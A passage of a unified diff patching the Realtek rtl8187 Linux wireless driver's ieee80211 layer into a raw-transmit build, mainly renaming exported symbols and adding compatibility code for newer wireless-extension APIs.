- + down(&ieee->wx_sem); - - if(ieee->ps == IEEE80211_PS_DISABLED){ + + if(ieee->ps == IEEE80211_PS_DISABLED){ wrqu->power.disabled = 1; goto exit; } @@ -547,19 +576,19 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_essid); -EXPORT_SYMBOL(ieee80211_wx_set_essid); -EXPORT_SYMBOL(ieee80211_wx_set_rate); -EXPORT_SYMBOL(ieee80211_wx_get_rate); -EXPORT_SYMBOL(ieee80211_wx_set_wap); -EXPORT_SYMBOL(ieee80211_wx_get_wap); -EXPORT_SYMBOL(ieee80211_wx_set_mode); -EXPORT_SYMBOL(ieee80211_wx_get_mode); -EXPORT_SYMBOL(ieee80211_wx_set_scan); -EXPORT_SYMBOL(ieee80211_wx_get_freq); -EXPORT_SYMBOL(ieee80211_wx_set_freq); -EXPORT_SYMBOL(ieee80211_wx_set_rawtx); -EXPORT_SYMBOL(ieee80211_wx_get_name); -EXPORT_SYMBOL(ieee80211_wx_set_power); -EXPORT_SYMBOL(ieee80211_wx_get_power); -EXPORT_SYMBOL(ieee80211_wlan_frequencies); +EXPORT_SYMBOL(ieee80211_wx_get_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_essid_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_rate_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_wap_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_mode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_freq_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_rawtx_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_name_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_power_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_power_rtl7); +EXPORT_SYMBOL(ieee80211_wlan_frequencies_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_tx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_tx.c 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_tx.c 2008-08-12 13:11:33.000000000 -0400 @@ -24,15 +24,14 @@ ****************************************************************************** - Few modifications for Realtek's Wi-Fi drivers by + Few modifications for Realtek's Wi-Fi drivers by Andrea Merello - - A special thanks goes to Realtek for their support ! + + A special thanks goes to Realtek for their support ! ******************************************************************************/ #include -#include #include #include #include @@ -52,6 +51,12 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#else +#include +#endif + #include "ieee80211.h" @@ -155,7 +160,7 @@ static u8 P802_1H_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0xf8 }; static u8 RFC1042_OUI[P80211_OUI_LEN] = { 0x00, 0x00, 0x00 }; -static inline int ieee80211_put_snap(u8 *data, u16 h_proto) +static inline int ieee80211_put_snap_rtl7(u8 *data, u16 h_proto) { struct ieee80211_snap_hdr *snap; u8 *oui; @@ -178,7 +183,7 @@ return SNAP_SIZE + sizeof(u16); } -int ieee80211_encrypt_fragment( +int ieee80211_encrypt_fragment_rtl7( struct ieee80211_device *ieee, struct sk_buff *frag, int hdr_len) @@ -225,7 +230,7 @@ } -void ieee80211_txb_free(struct ieee80211_txb *txb) { +void ieee80211_txb_free_rtl7(struct ieee80211_txb *txb) { int i; if (unlikely(!txb)) return; @@ -235,7 +240,7 @@ kfree(txb); } -struct ieee80211_txb *ieee80211_alloc_txb(int nr_frags, int txb_size, +struct ieee80211_txb *ieee80211_alloc_txb_rtl7(int nr_frags, int txb_size, int gfp_mask) { struct ieee80211_txb *txb; @@ -267,7 +272,7 @@ } /* SKBs are added to the ieee->tx_queue. */ -int ieee80211_xmit(struct sk_buff *skb, +int ieee80211_xmit_rtl7(struct sk_buff *skb, struct net_device *dev) { struct ieee80211_device *ieee = netdev_priv(dev); @@ -299,27 +304,27 @@ } if(likely(ieee->raw_tx == 0)){ - + if (unlikely(skb->len < SNAP_SIZE + sizeof(u16))) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - + + ether_type = ntohs(((struct ethhdr *)skb->data)->h_proto); - + crypt = ieee->crypt[ieee->tx_keyidx]; - + encrypt = !(ether_type == ETH_P_PAE && ieee->ieee802_1x) && ieee->host_encrypt && crypt && crypt->ops; - + if (!encrypt && ieee->ieee802_1x && ieee->drop_unencrypted && ether_type != ETH_P_PAE) { stats->tx_dropped++; goto success; } - + #ifdef CONFIG_IEEE80211_DEBUG if (crypt && !encrypt && ether_type == ETH_P_PAE) { struct eapol *eap = (struct eapol *)(skb->data + @@ -328,23 +333,23 @@ eap_get_type(eap->type)); } #endif - + /* Save source and destination addresses */ memcpy(&dest, skb->data, ETH_ALEN); memcpy(&src, skb->data+ETH_ALEN, ETH_ALEN); - + /* Advance the SKB to the start of the payload */ skb_pull(skb, sizeof(struct ethhdr)); - + /* Determine total amount of storage required for TXB packets */ bytes = skb->len + SNAP_SIZE + sizeof(u16); - + if (encrypt) fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA | IEEE80211_FCTL_WEP; else fc = IEEE80211_FTYPE_DATA | IEEE80211_STYPE_DATA; - + if (ieee->iw_mode == IW_MODE_INFRA) { fc |= IEEE80211_FCTL_TODS; /* To DS: Addr1 = BSSID, Addr2 = SA, @@ -360,9 +365,9 @@ memcpy(&header.addr3, ieee->current_network.bssid, ETH_ALEN); } header.frame_ctl = cpu_to_le16(fc); - + hdr_len = IEEE80211_3ADDR_LEN; - + /* Determine fragmentation size based on destination (multicast * and broadcast are not fragmented) */ if (is_multicast_ether_addr(dest) || @@ -370,7 +375,7 @@ frag_size = MAX_FRAG_THRESHOLD; else frag_size = ieee->fts; - + /* Determine amount of payload per fragment. Regardless of if * this stack is providing the full 802.11 header, one will * eventually be affixed to this fragment -- so we must account for @@ -379,12 +384,12 @@ if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) bytes_per_frag -= IEEE80211_FCS_LEN; - + /* Each fragment may need to have room for encryptiong pre/postfix */ if (encrypt) bytes_per_frag -= crypt->ops->extra_prefix_len + crypt->ops->extra_postfix_len; - + /* Number of fragments is the total bytes_per_frag / * payload_per_fragment */ nr_frags = bytes / bytes_per_frag; @@ -393,11 +398,11 @@ nr_frags++; else bytes_last_frag = bytes_per_frag; - + /* When we allocate the TXB we allocate enough space for the reserve * and full fragment bytes (bytes_per_frag doesn't include prefix, * postfix, header, FCS, etc.) */ - txb = ieee80211_alloc_txb(nr_frags, frag_size, GFP_ATOMIC); + txb = ieee80211_alloc_txb_rtl7(nr_frags, frag_size, GFP_ATOMIC); if (unlikely(!txb)) { printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); @@ -405,93 +410,94 @@ } txb->encrypted = encrypt; txb->payload_size = bytes; - + for (i = 0; i < nr_frags; i++) { skb_frag = txb->fragments[i]; - + if (encrypt) skb_reserve(skb_frag, crypt->ops->extra_prefix_len); - + frag_hdr = (struct ieee80211_hdr *)skb_put(skb_frag, hdr_len); memcpy(frag_hdr, &header, hdr_len); - + /* If this is not the last fragment, then add the MOREFRAGS * bit to the frame control */ if (i != nr_frags - 1) { frag_hdr->frame_ctl = cpu_to_le16( fc | IEEE80211_FCTL_MOREFRAGS); bytes = bytes_per_frag; - + } else { /* The last fragment takes the remaining length */ bytes = bytes_last_frag; } - + frag_hdr->seq_ctl = cpu_to_le16(ieee->seq_ctrl<<4 | i); - - + + /* Put a SNAP header on the first fragment */ if (i == 0) { - ieee80211_put_snap( + ieee80211_put_snap_rtl7( skb_put(skb_frag, SNAP_SIZE + sizeof(u16)), ether_type); bytes -= SNAP_SIZE + sizeof(u16); } - + memcpy(skb_put(skb_frag, bytes), skb->data, bytes); - + /* Advance the SKB... */ skb_pull(skb, bytes); - + /* Encryption routine will move the header forward in order * to insert the IV between the header and the payload */ if (encrypt) - ieee80211_encrypt_fragment(ieee, skb_frag, hdr_len); + ieee80211_encrypt_fragment_rtl7(ieee, skb_frag, hdr_len); if (ieee->config & (CFG_IEEE80211_COMPUTE_FCS | CFG_IEEE80211_RESERVE_FCS)) skb_put(skb_frag, 4); } - // Advance sequence number in data frame. + // Advance sequence number in data frame. if (ieee->seq_ctrl == 0xFFF) ieee->seq_ctrl = 0; else ieee->seq_ctrl++; //--- }else{ - if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { +// if (unlikely(skb->len < sizeof(struct ieee80211_hdr_3addr))) { + if (unlikely(skb->len < 14)) { printk(KERN_WARNING "%s: skb too small (%d).\n", ieee->dev->name, skb->len); goto success; } - - txb = ieee80211_alloc_txb(1, skb->len, GFP_ATOMIC); + + txb = ieee80211_alloc_txb_rtl7(1, skb->len, GFP_ATOMIC); if(!txb){ printk(KERN_WARNING "%s: Could not allocate TXB\n", ieee->dev->name); goto failed; } - + txb->encrypted = 0; txb->payload_size = skb->len; memcpy(skb_put(txb->fragments[0],skb->len), skb->data, skb->len); - } + } success: spin_unlock_irqrestore(&ieee->lock, flags); dev_kfree_skb_any(skb); if (txb) { if (ieee->softmac_features & IEEE_SOFTMAC_TX_QUEUE){ - ieee80211_softmac_xmit(txb, ieee); + ieee80211_softmac_xmit_rtl7(txb, ieee); }else{ if ((*ieee->hard_start_xmit)(txb, dev) == 0) { stats->tx_packets++; stats->tx_bytes += txb->payload_size; return 0; } - ieee80211_txb_free(txb); + ieee80211_txb_free_rtl7(txb); } - - + + } return 0; @@ -504,4 +510,4 @@ } -EXPORT_SYMBOL(ieee80211_txb_free); +EXPORT_SYMBOL(ieee80211_txb_free_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_wx.c rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/ieee80211_wx.c 2006-06-05 22:57:56.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_wx.c 2008-08-12 14:23:46.000000000 -0400 @@ -40,8 +40,9 @@ }; #define MAX_CUSTOM_LEN 64 -static inline char *ipw2100_translate_scan(struct ieee80211_device *ieee, - char *start, char *stop, +static inline char *ipw2100_translate_scan_rtl7(struct ieee80211_device *ieee, + struct iw_request_info *info, + char *start, char *stop, struct ieee80211_network *network) { char custom[MAX_CUSTOM_LEN]; @@ -54,7 +55,11 @@ iwe.cmd = SIOCGIWAP; iwe.u.ap_addr.sa_family = ARPHRD_ETHER; memcpy(iwe.u.ap_addr.sa_data, network->bssid, ETH_ALEN); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_ADDR_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_ADDR_LEN); +#endif /* Remaining entries will be displayed in the order we provide them */ @@ -63,16 +68,28 @@ iwe.u.data.flags = 1; if (network->flags & NETWORK_EMPTY_ESSID) { iwe.u.data.length = sizeof(""); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, ""); +#else start = iwe_stream_add_point(start, stop, &iwe, ""); +#endif } else { iwe.u.data.length = min(network->ssid_len, (u8)32); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, network->ssid); +#else start = iwe_stream_add_point(start, stop, &iwe, network->ssid); +#endif } /* Add the protocol name */ iwe.cmd = SIOCGIWNAME; snprintf(iwe.u.name, IFNAMSIZ, "IEEE 802.11%s", ieee80211_modes[network->mode]); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_CHAR_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_CHAR_LEN); +#endif /* Add mode */ iwe.cmd = SIOCGIWMODE; @@ -83,8 +100,13 @@ else iwe.u.mode = IW_MODE_ADHOC; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, + IW_EV_UINT_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_UINT_LEN); +#endif } /* Add frequency/channel */ @@ -94,7 +116,11 @@ iwe.u.freq.m = network->channel; iwe.u.freq.e = 0; iwe.u.freq.i = 0; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_FREQ_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_FREQ_LEN); +#endif /* Add encryption capability */ iwe.cmd = SIOCGIWENCODE; @@ -103,7 +129,11 @@ else iwe.u.data.flags = IW_ENCODE_DISABLED; iwe.u.data.length = 0; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, network->ssid); +#else start = iwe_stream_add_point(start, stop, &iwe, network->ssid); +#endif /* Add basic and extended rates */ max_rate = 0; @@ -132,13 +162,22 @@ iwe.cmd = SIOCGIWRATE; iwe.u.bitrate.fixed = iwe.u.bitrate.disabled = 0; iwe.u.bitrate.value = max_rate * 500000; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, + IW_EV_PARAM_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_PARAM_LEN); +#endif iwe.cmd = IWEVCUSTOM; iwe.u.data.length = p - custom; if (iwe.u.data.length) +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, custom); +#else start = iwe_stream_add_point(start, stop, &iwe, custom); +#endif /* Add quality statistics */ /* TODO: Fix these values... */ @@ -154,14 +193,22 @@ if (!(network->stats.mask & IEEE80211_STATMASK_SIGNAL)) iwe.u.qual.updated |= IW_QUAL_QUAL_INVALID; +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_event(info, start, stop, &iwe, IW_EV_QUAL_LEN); +#else start = iwe_stream_add_event(start, stop, &iwe, IW_EV_QUAL_LEN); +#endif iwe.cmd = IWEVCUSTOM; p = custom; iwe.u.data.length = p - custom; if (iwe.u.data.length) +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, custom); +#else start = iwe_stream_add_point(start, stop, &iwe, custom); +#endif if (ieee->wpa_enabled && network->wpa_ie_len){ char buf[MAX_WPA_IE_LEN * 2 + 30]; @@ -175,7 +222,12 @@ memset(&iwe, 0, sizeof(iwe)); iwe.cmd = IWEVCUSTOM; iwe.u.data.length = strlen(buf); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, buf); +#else start = iwe_stream_add_point(start, stop, &iwe, buf); +#endif + } if (ieee->wpa_enabled && network->rsn_ie_len){ @@ -190,7 +242,11 @@ memset(&iwe, 0, sizeof(iwe)); iwe.cmd = IWEVCUSTOM; iwe.u.data.length = strlen(buf); +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, buf); +#else start = iwe_stream_add_point(start, stop, &iwe, buf); +#endif } /* Add EXTRA: Age to display seconds since last beacon/probe response @@ -201,13 +257,17 @@ " Last beacon: %lums ago", (jiffies - network->last_scanned) / (HZ / 100)); iwe.u.data.length = p - custom; if (iwe.u.data.length) +#if WIRELESS_EXT >= 22 + start = iwe_stream_add_point(info, start, stop, &iwe, custom); +#else start = iwe_stream_add_point(start, stop, &iwe, custom); +#endif return start; } -int ieee80211_wx_get_scan(struct ieee80211_device *ieee, +int ieee80211_wx_get_scan_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *extra) { @@ -220,13 +280,15 @@ IEEE80211_DEBUG_WX("Getting scan\n"); down(&ieee->wx_sem); + printk("GOT WX GET SCAN WX_SEM LOCK"); spin_lock_irqsave(&ieee->lock, flags); list_for_each_entry(network, &ieee->network_list, list) { i++; if (ieee->scan_age == 0 || time_after(network->last_scanned + ieee->scan_age, jiffies)) - ev = ipw2100_translate_scan(ieee, ev, stop, network); + ev = ipw2100_translate_scan_rtl7(ieee, info, ev, +stop, network); else IEEE80211_DEBUG_SCAN( "Not showing network '%s (" @@ -247,7 +309,7 @@ return 0; } -int ieee80211_wx_set_encode(struct ieee80211_device *ieee, +int ieee80211_wx_set_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -259,6 +321,9 @@ int i, key, key_provided, len; struct ieee80211_crypt_data **crypt; + if (erq->flags & IW_ENCODE_RESTRICTED) + return -EINVAL; + IEEE80211_DEBUG_WX("SET_ENCODE\n"); key = erq->flags & IW_ENCODE_INDEX; @@ -281,7 +346,7 @@ if (key_provided && *crypt) { IEEE80211_DEBUG_WX("Disabling encryption on key %d.\n", key); - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } else IEEE80211_DEBUG_WX("Disabling encryption.\n"); @@ -291,7 +356,7 @@ if (ieee->crypt[i] != NULL) { if (key_provided) break; - ieee80211_crypt_delayed_deinit( + ieee80211_crypt_delayed_deinit_rtl7( ieee, &ieee->crypt[i]); } } @@ -314,7 +379,7 @@ strcmp((*crypt)->ops->name, "WEP") != 0) { /* changing to use WEP; deinit previously used algorithm * on this key */ - ieee80211_crypt_delayed_deinit(ieee, crypt); + ieee80211_crypt_delayed_deinit_rtl7(ieee, crypt); } if (*crypt == NULL) { @@ -326,10 +391,10 @@ if (new_crypt == NULL) return -ENOMEM; memset(new_crypt, 0, sizeof(struct ieee80211_crypt_data)); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); if (!new_crypt->ops) { - request_module("ieee80211_crypt_wep"); - new_crypt->ops = ieee80211_get_crypto_ops("WEP"); + request_module("ieee80211_crypt_wep_rtl"); + new_crypt->ops = ieee80211_get_crypto_ops_rtl7("WEP"); } if (new_crypt->ops && try_module_get(new_crypt->ops->owner)) @@ -340,7 +405,7 @@ new_crypt = NULL; printk(KERN_WARNING "%s: could not initialize WEP: " - "load module ieee80211_crypt_wep\n", + "load module ieee80211_crypt_wep_rtl\n", dev->name); return -EOPNOTSUPP; } @@ -418,7 +483,7 @@ return 0; } -int ieee80211_wx_get_encode(struct ieee80211_device *ieee, +int ieee80211_wx_get_encode_rtl7(struct ieee80211_device *ieee, struct iw_request_info *info, union iwreq_data *wrqu, char *keybuf) { @@ -430,7 +495,7 @@ if(ieee->iw_mode == IW_MODE_MONITOR) return -1; - + key = erq->flags & IW_ENCODE_INDEX; if (key) { if (key > WEP_KEYS) @@ -470,6 +535,6 @@ } -EXPORT_SYMBOL(ieee80211_wx_get_scan); -EXPORT_SYMBOL(ieee80211_wx_set_encode); -EXPORT_SYMBOL(ieee80211_wx_get_encode); +EXPORT_SYMBOL(ieee80211_wx_get_scan_rtl7); +EXPORT_SYMBOL(ieee80211_wx_set_encode_rtl7); +EXPORT_SYMBOL(ieee80211_wx_get_encode_rtl7); diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/Makefile rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/Makefile 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Makefile 2008-08-12 13:11:33.000000000 -0400 @@ -17,6 +17,7 @@ KVER := $(shell uname -r) KSRC := /lib/modules/$(KVER)/build INSTALL_PREFIX := +PWD = $(shell pwd) all: modules diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/Modules.symvers rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/Modules.symvers 2006-06-05 22:57:56.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/Modules.symvers 1969-12-31 19:00:00.000000000 -0500 @@ -1,43 +0,0 @@ -0x232e7944 ieee80211_wlan_frequencies /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xaeae102f free_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x279e265f ieee80211_crypt_deinit_handler net/ieee80211/ieee80211_crypt -0xc2411d91 ieee80211_stop_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6ece20e1 ieee80211_wx_get_name_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0x5d3847ff ieee80211_rx_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x18612027 ieee80211_wx_get_scan_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xa0e03ce1 ieee80211_wx_get_name /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xee25f349 ieee80211_wx_get_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x86013c3d ieee80211_wx_set_mode /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x04493cc0 ieee80211_wx_get_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6c6df3b4 ieee80211_wx_set_rate /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x82caec02 ieee80211_crypt_deinit_entries net/ieee80211/ieee80211_crypt -0x347945bf ieee80211_wx_get_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6379d455 ieee80211_wx_set_power /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xae62ed59 ieee80211_wx_set_scan /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6621e172 ieee80211_wx_set_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x0e052e06 ieee80211_wx_get_freq /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x283f9f5d ieee80211_unregister_crypto_ops net/ieee80211/ieee80211_crypt -0x9da79aac ieee80211_is_shortslot /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x666032dc ieee80211_wx_get_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9f1cbe0e ieee80211_wx_set_wap /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x73d1d341 ieee80211_wx_set_rawtx /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2c714184 ieee80211_is_54g /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x6892d598 ieee80211_wpa_supplicant_ioctl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc062f1f5 ieee80211_ps_tx_ack /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x55534906 ieee80211_get_beacon /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xe2679638 ieee80211_crypt_delayed_deinit net/ieee80211/ieee80211_crypt -0x3a0456bc free_ieee80211 net/ieee80211/ieee80211 -0x7e1ef2c8 ieee80211_wake_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xc1b81e9f ieee80211_register_crypto_ops net/ieee80211/ieee80211_crypt -0x3f795a39 alloc_ieee80211 net/ieee80211/ieee80211 -0x89803c23 ieee80211_get_crypto_ops net/ieee80211/ieee80211_crypt -0xc6caf2a4 ieee80211_txb_free net/ieee80211/ieee80211 -0x49c1422c ieee80211_rx_mgt net/ieee80211/ieee80211 -0xbf2b4ebd alloc_ieee80211_rtl /usr/rtl8187_linux_2.6_05312006/ieee80211/ieee80211-rtl -0xd155f7b8 ieee80211_softmac_stop_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x9ce2dcde ieee80211_softmac_start_protocol /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x00d74bba ieee80211_wx_get_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x92b5d996 ieee80211_wx_set_encode_rtl /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x2ac9bf95 ieee80211_wx_set_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0x7dc92e7f ieee80211_wx_get_essid /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl -0xd04740ca ieee80211_reset_queue /home/woo/rtl8187_linuxdrv_FC2_V1.1_Src/ieee80211/ieee80211-rtl diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_ccmp-rtl.mod 2008-08-12 13:11:33.000000000 -0400 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_ccmp.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_ccmp.o diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt-rtl.mod 2008-08-12 13:11:33.000000000 -0400 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt.o diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_tkip-rtl.mod 2008-08-12 13:11:33.000000000 -0400 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_tkip.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_tkip.o diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2006-06-05 22:57:54.000000000 -0400 +++ rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211_crypt_wep-rtl.mod 2008-08-12 13:11:33.000000000 -0400 @@ -1,2 +1,2 @@ -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep-rtl.ko -/usr/rtl8187_linux_2.6_06012006/ieee80211/ieee80211_crypt_wep.o +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep-rtl.ko +/home/pete/rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/ieee80211_crypt_wep.o diff -Naur rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211-rtl.mod rtl8187_linux_26.1010.0622.2006_rawtx/ieee80211/.tmp_versions/ieee80211-rtl.mod --- rtl8187_linux_26.1010.0622.2006_orig/ieee80211/.tmp_versions/ieee80211-rtl.mod 2006-06-05 22:57:54.000000000 -0400 +++ 